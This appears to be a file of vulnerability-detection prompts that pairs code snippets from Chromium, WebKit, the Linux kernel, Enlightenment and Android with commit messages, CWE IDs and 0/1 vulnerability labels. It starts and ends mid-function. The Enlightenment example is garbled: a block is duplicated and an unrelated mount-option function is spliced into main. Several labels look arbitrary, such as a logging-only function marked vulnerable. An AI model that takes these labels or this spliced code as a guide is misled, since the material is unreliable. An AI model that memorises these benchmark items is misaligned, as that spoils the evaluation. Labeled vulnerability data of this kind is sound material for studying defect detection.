kvm_queue_interrupt(vcpu, kvm_cpu_get_interrupt(vcpu),
false);
kvm_x86_ops->set_irq(vcpu);
}
}
}
Commit Message: KVM: Ensure all vcpus are consistent with in-kernel irqchip settings
(cherry picked from commit 3e515705a1f46beb1c942bb8043c16f8ac7b1e9e)
If some vcpus are created before KVM_CREATE_IRQCHIP, then
irqchip_in_kernel() and vcpu->arch.apic will be inconsistent, leading
to potential NULL pointer dereferences.
Fix by:
- ensuring that no vcpus are installed when KVM_CREATE_IRQCHIP is called
- ensuring that a vcpu has an apic if it is installed after KVM_CREATE_IRQCHIP
This is somewhat long winded because vcpu->arch.apic is created without
kvm->lock held.
Based on earlier patch by Michael Ellerman.
Signed-off-by: Michael Ellerman <[email protected]>
Signed-off-by: Avi Kivity <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-399
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static v8::Persistent<v8::FunctionTemplate> ConfigureV8TestInterfaceTemplate(v8::Persistent<v8::FunctionTemplate> desc)
{
desc->ReadOnlyPrototype();
v8::Local<v8::Signature> defaultSignature;
defaultSignature = configureTemplate(desc, "TestInterface", v8::Persistent<v8::FunctionTemplate>(), V8TestInterface::internalFieldCount,
TestInterfaceAttrs, WTF_ARRAY_LENGTH(TestInterfaceAttrs),
TestInterfaceCallbacks, WTF_ARRAY_LENGTH(TestInterfaceCallbacks));
UNUSED_PARAM(defaultSignature); // In some cases, it will not be used.
desc->SetCallHandler(V8TestInterface::constructorCallback);
v8::Local<v8::ObjectTemplate> instance = desc->InstanceTemplate();
v8::Local<v8::ObjectTemplate> proto = desc->PrototypeTemplate();
UNUSED_PARAM(instance); // In some cases, it will not be used.
UNUSED_PARAM(proto); // In some cases, it will not be used.
const int supplementalMethod2Argc = 2;
v8::Handle<v8::FunctionTemplate> supplementalMethod2Argv[supplementalMethod2Argc] = { v8::Handle<v8::FunctionTemplate>(), V8TestObj::GetRawTemplate() };
v8::Handle<v8::Signature> supplementalMethod2Signature = v8::Signature::New(desc, supplementalMethod2Argc, supplementalMethod2Argv);
#if ENABLE(Condition11) || ENABLE(Condition12)
proto->Set(v8::String::New("supplementalMethod2"), v8::FunctionTemplate::New(TestInterfaceV8Internal::supplementalMethod2Callback, v8::Handle<v8::Value>(), supplementalMethod2Signature));
#endif // ENABLE(Condition11) || ENABLE(Condition12)
#if ENABLE(Condition11) || ENABLE(Condition12)
desc->Set(v8::String::New("supplementalMethod4"), v8::FunctionTemplate::New(TestInterfaceV8Internal::supplementalMethod4Callback, v8::Handle<v8::Value>(), v8::Local<v8::Signature>()));
#endif // ENABLE(Condition11) || ENABLE(Condition12)
batchConfigureConstants(desc, proto, TestInterfaceConsts, WTF_ARRAY_LENGTH(TestInterfaceConsts));
desc->Set(getToStringName(), getToStringTemplate());
return desc;
}
Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=86983
Reviewed by Adam Barth.
The objective is to pass Isolate around in V8 bindings.
This patch passes Isolate to throwNotEnoughArgumentsError().
No tests. No change in behavior.
* bindings/scripts/CodeGeneratorV8.pm:
(GenerateArgumentsCountCheck):
(GenerateEventConstructorCallback):
* bindings/scripts/test/V8/V8Float64Array.cpp:
(WebCore::Float64ArrayV8Internal::fooCallback):
* bindings/scripts/test/V8/V8TestActiveDOMObject.cpp:
(WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback):
(WebCore::TestActiveDOMObjectV8Internal::postMessageCallback):
* bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp:
(WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback):
* bindings/scripts/test/V8/V8TestEventConstructor.cpp:
(WebCore::V8TestEventConstructor::constructorCallback):
* bindings/scripts/test/V8/V8TestEventTarget.cpp:
(WebCore::TestEventTargetV8Internal::itemCallback):
(WebCore::TestEventTargetV8Internal::dispatchEventCallback):
* bindings/scripts/test/V8/V8TestInterface.cpp:
(WebCore::TestInterfaceV8Internal::supplementalMethod2Callback):
(WebCore::V8TestInterface::constructorCallback):
* bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp:
(WebCore::TestMediaQueryListListenerV8Internal::methodCallback):
* bindings/scripts/test/V8/V8TestNamedConstructor.cpp:
(WebCore::V8TestNamedConstructorConstructorCallback):
* bindings/scripts/test/V8/V8TestObj.cpp:
(WebCore::TestObjV8Internal::voidMethodWithArgsCallback):
(WebCore::TestObjV8Internal::intMethodWithArgsCallback):
(WebCore::TestObjV8Internal::objMethodWithArgsCallback):
(WebCore::TestObjV8Internal::methodWithSequenceArgCallback):
(WebCore::TestObjV8Internal::methodReturningSequenceCallback):
(WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback):
(WebCore::TestObjV8Internal::serializedValueCallback):
(WebCore::TestObjV8Internal::idbKeyCallback):
(WebCore::TestObjV8Internal::optionsObjectCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback):
(WebCore::TestObjV8Internal::methodWithCallbackArgCallback):
(WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback):
(WebCore::TestObjV8Internal::overloadedMethod1Callback):
(WebCore::TestObjV8Internal::overloadedMethod2Callback):
(WebCore::TestObjV8Internal::overloadedMethod3Callback):
(WebCore::TestObjV8Internal::overloadedMethod4Callback):
(WebCore::TestObjV8Internal::overloadedMethod5Callback):
(WebCore::TestObjV8Internal::overloadedMethod6Callback):
(WebCore::TestObjV8Internal::overloadedMethod7Callback):
(WebCore::TestObjV8Internal::overloadedMethod11Callback):
(WebCore::TestObjV8Internal::overloadedMethod12Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback):
(WebCore::TestObjV8Internal::convert1Callback):
(WebCore::TestObjV8Internal::convert2Callback):
(WebCore::TestObjV8Internal::convert3Callback):
(WebCore::TestObjV8Internal::convert4Callback):
(WebCore::TestObjV8Internal::convert5Callback):
(WebCore::TestObjV8Internal::strictFunctionCallback):
(WebCore::V8TestObj::constructorCallback):
* bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp:
(WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback):
(WebCore::V8TestSerializedScriptValueInterface::constructorCallback):
* bindings/v8/ScriptController.cpp:
(WebCore::setValueAndClosePopupCallback):
* bindings/v8/V8Proxy.cpp:
(WebCore::V8Proxy::throwNotEnoughArgumentsError):
* bindings/v8/V8Proxy.h:
(V8Proxy):
* bindings/v8/custom/V8AudioContextCustom.cpp:
(WebCore::V8AudioContext::constructorCallback):
* bindings/v8/custom/V8DataViewCustom.cpp:
(WebCore::V8DataView::getInt8Callback):
(WebCore::V8DataView::getUint8Callback):
(WebCore::V8DataView::setInt8Callback):
(WebCore::V8DataView::setUint8Callback):
* bindings/v8/custom/V8DirectoryEntryCustom.cpp:
(WebCore::V8DirectoryEntry::getDirectoryCallback):
(WebCore::V8DirectoryEntry::getFileCallback):
* bindings/v8/custom/V8IntentConstructor.cpp:
(WebCore::V8Intent::constructorCallback):
* bindings/v8/custom/V8SVGLengthCustom.cpp:
(WebCore::V8SVGLength::convertToSpecifiedUnitsCallback):
* bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
(WebCore::getObjectParameter):
(WebCore::V8WebGLRenderingContext::getAttachedShadersCallback):
(WebCore::V8WebGLRenderingContext::getExtensionCallback):
(WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback):
(WebCore::V8WebGLRenderingContext::getParameterCallback):
(WebCore::V8WebGLRenderingContext::getProgramParameterCallback):
(WebCore::V8WebGLRenderingContext::getShaderParameterCallback):
(WebCore::V8WebGLRenderingContext::getUniformCallback):
(WebCore::vertexAttribAndUniformHelperf):
(WebCore::uniformHelperi):
(WebCore::uniformMatrixHelper):
* bindings/v8/custom/V8WebKitMutationObserverCustom.cpp:
(WebCore::V8WebKitMutationObserver::constructorCallback):
(WebCore::V8WebKitMutationObserver::observeCallback):
* bindings/v8/custom/V8WebSocketCustom.cpp:
(WebCore::V8WebSocket::constructorCallback):
(WebCore::V8WebSocket::sendCallback):
* bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
(WebCore::V8XMLHttpRequest::openCallback):
git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: main(int argc,
char **argv)
{
int i, gn;
int test = 0;
char *action = NULL, *cmd;
char *output = NULL;
#ifdef HAVE_EEZE_MOUNT
Eina_Bool mnt = EINA_FALSE;
const char *act;
#endif
gid_t gid, gl[65536], egid;
for (i = 1; i < argc; i++)
{
if ((!strcmp(argv[i], "-h")) ||
(!strcmp(argv[i], "-help")) ||
(!strcmp(argv[i], "--help")))
{
printf(
"This is an internal tool for Enlightenment.\n"
"do not use it.\n"
);
exit(0);
}
}
if (argc >= 3)
{
if ((argc == 3) && (!strcmp(argv[1], "-t")))
{
test = 1;
action = argv[2];
}
else if (!strcmp(argv[1], "l2ping"))
{
action = argv[1];
output = argv[2];
}
#ifdef HAVE_EEZE_MOUNT
else
{
const char *s;
s = strrchr(argv[1], '/');
if ((!s) || (!s[1])) exit(1); /* eeze always uses complete path */
s++;
if (strcmp(s, "mount") && strcmp(s, "umount") && strcmp(s, "eject")) exit(1);
mnt = EINA_TRUE;
act = s;
action = argv[1];
}
#endif
}
else if (argc == 2)
{
action = argv[1];
}
else
{
exit(1);
}
if (!action) exit(1);
fprintf(stderr, "action %s %i\n", action, argc);
uid = getuid();
gid = getgid();
egid = getegid();
gn = getgroups(65536, gl);
if (gn < 0)
{
printf("ERROR: MEMBER OF MORE THAN 65536 GROUPS\n");
exit(3);
}
if (setuid(0) != 0)
{
printf("ERROR: UNABLE TO ASSUME ROOT PRIVILEGES\n");
exit(5);
}
if (setgid(0) != 0)
{
printf("ERROR: UNABLE TO ASSUME ROOT GROUP PRIVILEGES\n");
exit(7);
}
eina_init();
if (!auth_action_ok(action, gid, gl, gn, egid))
{
printf("ERROR: ACTION NOT ALLOWED: %s\n", action);
exit(10);
}
/* we can add more levels of auth here */
/* when mounting, this will match the exact path to the exe,
* as required in sysactions.conf
* this is intentionally pedantic for security
*/
cmd = eina_hash_find(actions, action);
if (!cmd)
{
printf("ERROR: UNDEFINED ACTION: %s\n", action);
exit(20);
}
if (!test && !strcmp(action, "l2ping"))
{
char tmp[128];
double latency;
latency = e_sys_l2ping(output);
eina_convert_dtoa(latency, tmp);
fputs(tmp, stdout);
return (latency < 0) ? 1 : 0;
}
/* sanitize environment */
#ifdef HAVE_UNSETENV
# define NOENV(x) unsetenv(x)
#else
# define NOENV(x)
#endif
NOENV("IFS");
/* sanitize environment */
#ifdef HAVE_UNSETENV
# define NOENV(x) unsetenv(x)
#else
# define NOENV(x)
#endif
NOENV("IFS");
NOENV("LD_PRELOAD");
NOENV("PYTHONPATH");
NOENV("LD_LIBRARY_PATH");
#ifdef HAVE_CLEARENV
clearenv();
#endif
/* set path and ifs to minimal defaults */
putenv("PATH=/bin:/usr/bin");
putenv("IFS= \t\n");
const char *p;
char *end;
unsigned long muid;
Eina_Bool nosuid, nodev, noexec, nuid;
nosuid = nodev = noexec = nuid = EINA_FALSE;
/* these are the only possible options which can be present here; check them strictly */
if (eina_strlcpy(buf, opts, sizeof(buf)) >= sizeof(buf)) return EINA_FALSE;
for (p = buf; p && p[1]; p = strchr(p + 1, ','))
{
if (p[0] == ',') p++;
#define CMP(OPT) \
if (!strncmp(p, OPT, sizeof(OPT) - 1))
CMP("nosuid,")
{
nosuid = EINA_TRUE;
continue;
}
CMP("nodev,")
{
nodev = EINA_TRUE;
continue;
}
CMP("noexec,")
{
noexec = EINA_TRUE;
continue;
}
CMP("utf8,") continue;
CMP("utf8=0,") continue;
CMP("utf8=1,") continue;
CMP("iocharset=utf8,") continue;
CMP("uid=")
{
p += 4;
errno = 0;
muid = strtoul(p, &end, 10);
if (muid == ULONG_MAX) return EINA_FALSE;
if (errno) return EINA_FALSE;
if (end[0] != ',') return EINA_FALSE;
if (muid != uid) return EINA_FALSE;
nuid = EINA_TRUE;
continue;
}
return EINA_FALSE;
}
if ((!nosuid) || (!nodev) || (!noexec) || (!nuid)) return EINA_FALSE;
return EINA_TRUE;
}
Commit Message:
CWE ID: CWE-264
Target: 1
Example 2:
Code: BrowserContext* RenderProcessHostImpl::GetBrowserContext() const {
return browser_context_;
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
[email protected]
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void BluetoothOptionsHandler::GenerateFakePairing(
const std::string& name,
const std::string& address,
const std::string& icon,
const std::string& pairing) {
DictionaryValue device;
device.SetString("name", name);
device.SetString("address", address);
device.SetString("icon", icon);
device.SetBoolean("paired", false);
device.SetBoolean("connected", false);
DictionaryValue op;
op.SetString("pairing", pairing);
if (pairing.compare("bluetoothEnterPasskey") != 0)
op.SetInteger("passkey", 12345);
if (pairing.compare("bluetoothRemotePasskey") == 0)
op.SetInteger("entered", 2);
web_ui_->CallJavascriptFunction(
"options.SystemOptions.connectBluetoothDevice", device, op);
}
Commit Message: Implement methods for pairing of bluetooth devices.
BUG=chromium:100392,chromium:102139
TEST=
Review URL: http://codereview.chromium.org/8495018
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@109094 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: PP_Bool LaunchSelLdr(PP_Instance instance,
const char* alleged_url,
int socket_count,
void* imc_handles) {
std::vector<nacl::FileDescriptor> sockets;
IPC::Sender* sender = content::RenderThread::Get();
if (sender == NULL)
sender = g_background_thread_sender.Pointer()->get();
IPC::ChannelHandle channel_handle;
if (!sender->Send(new ChromeViewHostMsg_LaunchNaCl(
GURL(alleged_url), socket_count, &sockets,
&channel_handle))) {
return PP_FALSE;
}
bool invalid_handle = channel_handle.name.empty();
#if defined(OS_POSIX)
if (!invalid_handle)
invalid_handle = (channel_handle.socket.fd == -1);
#endif
if (!invalid_handle)
g_channel_handle_map.Get()[instance] = channel_handle;
CHECK(static_cast<int>(sockets.size()) == socket_count);
for (int i = 0; i < socket_count; i++) {
static_cast<nacl::Handle*>(imc_handles)[i] =
nacl::ToNativeHandle(sockets[i]);
}
return PP_TRUE;
}
Commit Message: Revert 143656 - Add an IPC channel between the NaCl loader process and the renderer.
BUG=116317
TEST=ppapi, nacl tests, manual testing for experimental IPC proxy.
Review URL: https://chromiumcodereview.appspot.com/10641016
[email protected]
Review URL: https://chromiumcodereview.appspot.com/10625007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143665 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Target: 1
Example 2:
Code: MockRenderCallback() {}
Commit Message: Revert r157378 as it caused WebRTC to dereference null pointers when restarting a call.
I've kept my unit test changes intact but disabled until I get a proper fix.
BUG=147499,150805
TBR=henrika
Review URL: https://codereview.chromium.org/10946040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@157626 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void BluetoothDeviceChromeOS::OnUnregisterAgentError(
const std::string& error_name,
const std::string& error_message) {
LOG(WARNING) << object_path_.value() << ": Failed to unregister agent: "
<< error_name << ": " << error_message;
}
Commit Message: Refactor to support default Bluetooth pairing delegate
In order to support a default pairing delegate we need to move the agent
service provider delegate implementation from BluetoothDevice to
BluetoothAdapter while retaining the existing API.
BUG=338492
TEST=device_unittests, unit_tests, browser_tests
Review URL: https://codereview.chromium.org/148293003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@252216 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: EncodedJSValue JSC_HOST_CALL jsTestObjPrototypeFunctionObjMethodWithArgs(ExecState* exec)
{
JSValue thisValue = exec->hostThisValue();
if (!thisValue.inherits(&JSTestObj::s_info))
return throwVMTypeError(exec);
JSTestObj* castedThis = jsCast<JSTestObj*>(asObject(thisValue));
ASSERT_GC_OBJECT_INHERITS(castedThis, &JSTestObj::s_info);
TestObj* impl = static_cast<TestObj*>(castedThis->impl());
if (exec->argumentCount() < 3)
return throwVMError(exec, createTypeError(exec, "Not enough arguments"));
int intArg(MAYBE_MISSING_PARAMETER(exec, 0, DefaultIsUndefined).toInt32(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
const String& strArg(ustringToString(MAYBE_MISSING_PARAMETER(exec, 1, DefaultIsUndefined).isEmpty() ? UString() : MAYBE_MISSING_PARAMETER(exec, 1, DefaultIsUndefined).toString(exec)->value(exec)));
if (exec->hadException())
return JSValue::encode(jsUndefined());
TestObj* objArg(toTestObj(MAYBE_MISSING_PARAMETER(exec, 2, DefaultIsUndefined)));
if (exec->hadException())
return JSValue::encode(jsUndefined());
JSC::JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(impl->objMethodWithArgs(intArg, strArg, objArg)));
return JSValue::encode(result);
}
Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=85102
Reviewed by Geoffrey Garen.
In bug 84787, kbr@ requested to avoid hard-coding
createTypeError(exec, "Not enough arguments") here and there.
This patch implements createNotEnoughArgumentsError(exec)
and uses it in JSC bindings.
c.f. a corresponding bug for V8 bindings is bug 85097.
Source/JavaScriptCore:
* runtime/Error.cpp:
(JSC::createNotEnoughArgumentsError):
(JSC):
* runtime/Error.h:
(JSC):
Source/WebCore:
Test: bindings/scripts/test/TestObj.idl
* bindings/scripts/CodeGeneratorJS.pm: Modified as described above.
(GenerateArgumentsCountCheck):
* bindings/js/JSDataViewCustom.cpp: Ditto.
(WebCore::getDataViewMember):
(WebCore::setDataViewMember):
* bindings/js/JSDeprecatedPeerConnectionCustom.cpp:
(WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection):
* bindings/js/JSDirectoryEntryCustom.cpp:
(WebCore::JSDirectoryEntry::getFile):
(WebCore::JSDirectoryEntry::getDirectory):
* bindings/js/JSSharedWorkerCustom.cpp:
(WebCore::JSSharedWorkerConstructor::constructJSSharedWorker):
* bindings/js/JSWebKitMutationObserverCustom.cpp:
(WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver):
(WebCore::JSWebKitMutationObserver::observe):
* bindings/js/JSWorkerCustom.cpp:
(WebCore::JSWorkerConstructor::constructJSWorker):
* bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests.
(WebCore::jsFloat64ArrayPrototypeFunctionFoo):
* bindings/scripts/test/JS/JSTestActiveDOMObject.cpp:
(WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction):
(WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage):
* bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp:
(WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction):
* bindings/scripts/test/JS/JSTestEventTarget.cpp:
(WebCore::jsTestEventTargetPrototypeFunctionItem):
(WebCore::jsTestEventTargetPrototypeFunctionAddEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent):
* bindings/scripts/test/JS/JSTestInterface.cpp:
(WebCore::JSTestInterfaceConstructor::constructJSTestInterface):
(WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2):
* bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp:
(WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod):
* bindings/scripts/test/JS/JSTestNamedConstructor.cpp:
(WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor):
* bindings/scripts/test/JS/JSTestObj.cpp:
(WebCore::JSTestObjConstructor::constructJSTestObj):
(WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg):
(WebCore::jsTestObjPrototypeFunctionMethodReturningSequence):
(WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows):
(WebCore::jsTestObjPrototypeFunctionSerializedValue):
(WebCore::jsTestObjPrototypeFunctionIdbKey):
(WebCore::jsTestObjPrototypeFunctionOptionsObject):
(WebCore::jsTestObjPrototypeFunctionAddEventListener):
(WebCore::jsTestObjPrototypeFunctionRemoveEventListener):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod1):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod2):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod3):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod4):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod5):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod6):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod7):
(WebCore::jsTestObjConstructorFunctionClassMethod2):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod11):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod12):
(WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray):
(WebCore::jsTestObjPrototypeFunctionConvert1):
(WebCore::jsTestObjPrototypeFunctionConvert2):
(WebCore::jsTestObjPrototypeFunctionConvert3):
(WebCore::jsTestObjPrototypeFunctionConvert4):
(WebCore::jsTestObjPrototypeFunctionConvert5):
(WebCore::jsTestObjPrototypeFunctionStrictFunction):
* bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp:
(WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface):
(WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList):
git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
Target: 1
Example 2:
Code: ProcXFixesCreatePointerBarrier(ClientPtr client)
{
REQUEST(xXFixesCreatePointerBarrierReq);
REQUEST_FIXED_SIZE(xXFixesCreatePointerBarrierReq, pad_to_int32(stuff->num_devices));
LEGAL_NEW_RESOURCE(stuff->barrier, client);
return XICreatePointerBarrier(client, stuff);
}
Commit Message:
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: inline bool IsSchemeFirstChar(unsigned char c) {
return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z');
}
Commit Message: Percent-encode UTF8 characters in URL fragment identifiers.
This brings us into line with Firefox, Safari, and the spec.
Bug: 758523
Change-Id: I7e354ab441222d9fd08e45f0e70f91ad4e35fafe
Reviewed-on: https://chromium-review.googlesource.com/668363
Commit-Queue: Mike West <[email protected]>
Reviewed-by: Jochen Eisinger <[email protected]>
Reviewed-by: Andy Paicu <[email protected]>
Cr-Commit-Position: refs/heads/master@{#507481}
CWE ID: CWE-79
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void smp_proc_enc_info(tSMP_CB* p_cb, tSMP_INT_DATA* p_data) {
uint8_t* p = p_data->p_data;
SMP_TRACE_DEBUG("%s", __func__);
STREAM_TO_ARRAY(p_cb->ltk, p, BT_OCTET16_LEN);
smp_key_distribution(p_cb, NULL);
}
Commit Message: Checks the SMP length to fix OOB read
Bug: 111937065
Test: manual
Change-Id: I330880a6e1671d0117845430db4076dfe1aba688
Merged-In: I330880a6e1671d0117845430db4076dfe1aba688
(cherry picked from commit fceb753bda651c4135f3f93a510e5fcb4c7542b8)
CWE ID: CWE-200
Target: 1
Example 2:
Code: static int rt_cpu_seq_show(struct seq_file *seq, void *v)
{
struct rt_cache_stat *st = v;
if (v == SEQ_START_TOKEN) {
seq_printf(seq, "entries in_hit in_slow_tot in_slow_mc in_no_route in_brd in_martian_dst in_martian_src out_hit out_slow_tot out_slow_mc gc_total gc_ignored gc_goal_miss gc_dst_overflow in_hlist_search out_hlist_search\n");
return 0;
}
seq_printf(seq,"%08x %08x %08x %08x %08x %08x %08x %08x "
" %08x %08x %08x %08x %08x %08x %08x %08x %08x \n",
dst_entries_get_slow(&ipv4_dst_ops),
0, /* st->in_hit */
st->in_slow_tot,
st->in_slow_mc,
st->in_no_route,
st->in_brd,
st->in_martian_dst,
st->in_martian_src,
0, /* st->out_hit */
st->out_slow_tot,
st->out_slow_mc,
0, /* st->gc_total */
0, /* st->gc_ignored */
0, /* st->gc_goal_miss */
0, /* st->gc_dst_overflow */
0, /* st->in_hlist_search */
0 /* st->out_hlist_search */
);
return 0;
}
Commit Message: ipv4: try to cache dst_entries which would cause a redirect
Not caching dst_entries which cause redirects could be exploited by hosts
on the same subnet, causing a severe DoS attack. This effect aggravated
since commit f88649721268999 ("ipv4: fix dst race in sk_dst_get()").
Lookups causing redirects will be allocated with DST_NOCACHE set which
will force dst_release to free them via RCU. Unfortunately waiting for
RCU grace period just takes too long, we can end up with >1M dst_entries
waiting to be released and the system will run OOM. rcuos threads cannot
catch up under high softirq load.
Attaching the flag to emit a redirect later on to the specific skb allows
us to cache those dst_entries thus reducing the pressure on allocation
and deallocation.
This issue was discovered by Marcelo Leitner.
Cc: Julian Anastasov <[email protected]>
Signed-off-by: Marcelo Leitner <[email protected]>
Signed-off-by: Florian Westphal <[email protected]>
Signed-off-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: Julian Anastasov <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-17
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void Document::UpdateFocusAppearanceTimerFired(TimerBase*) {
Element* element = FocusedElement();
if (!element)
return;
UpdateStyleAndLayout();
if (element->IsFocusable())
element->UpdateFocusAppearance(SelectionBehaviorOnFocus::kRestore);
}
Commit Message: Cleanup and remove dead code in SetFocusedElement
This early-out was added in:
https://crrev.com/ce8ea3446283965c7eabab592cbffe223b1cf2bc
Back then, we applied fragment focus in LayoutUpdated() which could
cause this issue. This got cleaned up in:
https://crrev.com/45236fd563e9df53dc45579be1f3d0b4784885a2
so that focus is no longer applied after layout.
+Cleanup: Goto considered harmful
Bug: 795381
Change-Id: Ifeb4d2e03e872fd48cca6720b1d4de36ad1ecbb7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1524417
Commit-Queue: David Bokan <[email protected]>
Reviewed-by: Stefan Zager <[email protected]>
Cr-Commit-Position: refs/heads/master@{#641101}
CWE ID: CWE-416
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: icmp6_nodeinfo_print(netdissect_options *ndo, u_int icmp6len, const u_char *bp, const u_char *ep)
{
const struct icmp6_nodeinfo *ni6;
const struct icmp6_hdr *dp;
const u_char *cp;
size_t siz, i;
int needcomma;
if (ep < bp)
return;
dp = (const struct icmp6_hdr *)bp;
ni6 = (const struct icmp6_nodeinfo *)bp;
siz = ep - bp;
switch (ni6->ni_type) {
